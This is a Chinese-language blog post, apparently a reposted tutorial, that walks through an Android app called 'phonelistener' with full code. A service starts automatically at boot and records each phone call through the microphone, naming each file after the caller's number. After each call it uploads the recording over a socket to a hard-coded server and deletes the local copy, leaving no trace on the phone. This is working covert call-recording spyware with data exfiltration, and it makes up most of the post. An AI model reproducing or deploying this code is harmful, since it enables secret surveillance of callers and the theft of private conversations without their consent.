项目的总结1、phonelistener

基本步骤:

1、用BootBroadcastReceiver监听开机启动的广播、同时配置PhoneService的服务

      >>>> 在manifest中完成配置

2、在BootBroadcastReceiver的onReceive()中调用startService()启动服务

     >>>>在BootBroadcastReceiver的onReceive()中完成

3、在PhoneService的onCreate()设置PhoneStateListener的功能

      >>>>在PhoneService的onCreate()完成

4、继承父类PhoneStateListener,编写PhoneListener的基本框架,在onCallStateChanged()实现电话录音的功能

     >>>> 在onCallStateChanged()完成

5、电话录音结束后,启动新的线程实现文件的上传,在uploadFile()中完成

==================================================================

具体实现的代码

1、用BootBroadcastReceiver监听开机启动的广播、同时配置PhoneService的服务

>>>> 在manifest中完成配置

<application..... >
         <service android:name=".PhoneService"/>
          <receiver android:name=".BootBroadcastReceiver">
            <intent-filter >
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
    </application>

2、在BootBroadcastReceiver的onReceive()中调用startService()启动服务

>>>>在BootBroadcastReceiver的onReceive()中完成

public void onReceive(Context context, Intent intent) {
  Intent service = new Intent(context, PhoneService.class);//显式意图
  context.startService(service);//Intent激活组件(Service)
 }

3、在PhoneService的onCreate()设置PhoneStateListener的功能

>>>>在PhoneService的onCreate()完成

public void onCreate() {
  super.onCreate();//父类的方法不能去掉,必须保留
  TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
  telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
 }

4、继承父类PhoneStateListener,编写PhoneListener的基本框架,在onCallStateChanged()实现电话录音的功能

>>>> 在onCallStateChanged()完成

private final class PhoneListener extends PhoneStateListener{
		private String incomingNumber;
		private File file;
		private MediaRecorder mediaRecorder;
		
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			try {
				switch (state) {
				case TelephonyManager.CALL_STATE_RINGING://来电
					this.incomingNumber = incomingNumber;
					break;

				case TelephonyManager.CALL_STATE_OFFHOOK://接通电话
					file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp");

					mediaRecorder = new MediaRecorder();
					mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
					mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
					mediaRecorder.setOutputFile(file.getAbsolutePath());
					mediaRecorder.prepare();
					mediaRecorder.start();//开始录音
					break;
					
				case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态
					if(mediaRecorder != null){
						mediaRecorder.stop();
						mediaRecorder.release();
						mediaRecorder = null;
						uploadFile();
					}
					break;
				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}

5、电话录音结束后,启动新的线程实现文件的上传,在uploadFile()中完成

private void uploadFile() {
   new Thread(new Runnable() {    
    public void run() {
     try {
      if(file!=null && file.exists()){
       Socket socket = new Socket("192.168.1.100", 7878);
                OutputStream outStream = socket.getOutputStream();
                String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n";
                outStream.write(head.getBytes());
               
                PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream()); 
       String response = StreamTool.readLine(inStream);
                String[] items = response.split(";");
       String position = items[1].substring(items[1].indexOf("=")+1);
       
       RandomAccessFile fileOutStream = new RandomAccessFile(file, "r");
       fileOutStream.seek(Integer.valueOf(position));
       byte[] buffer = new byte[1024];
       int len = -1;
       while( (len = fileOutStream.read(buffer)) != -1){
        outStream.write(buffer, 0, len);
       }
       fileOutStream.close();
       outStream.close();
                inStream.close();
                socket.close();
                file.delete();
                file = null;
               }
           } catch (Exception e) {                   
               e.printStackTrace();
           }
    }
   }).start();
  }  

猜你喜欢

转载自zhengjj-2009.iteye.com/blog/1840776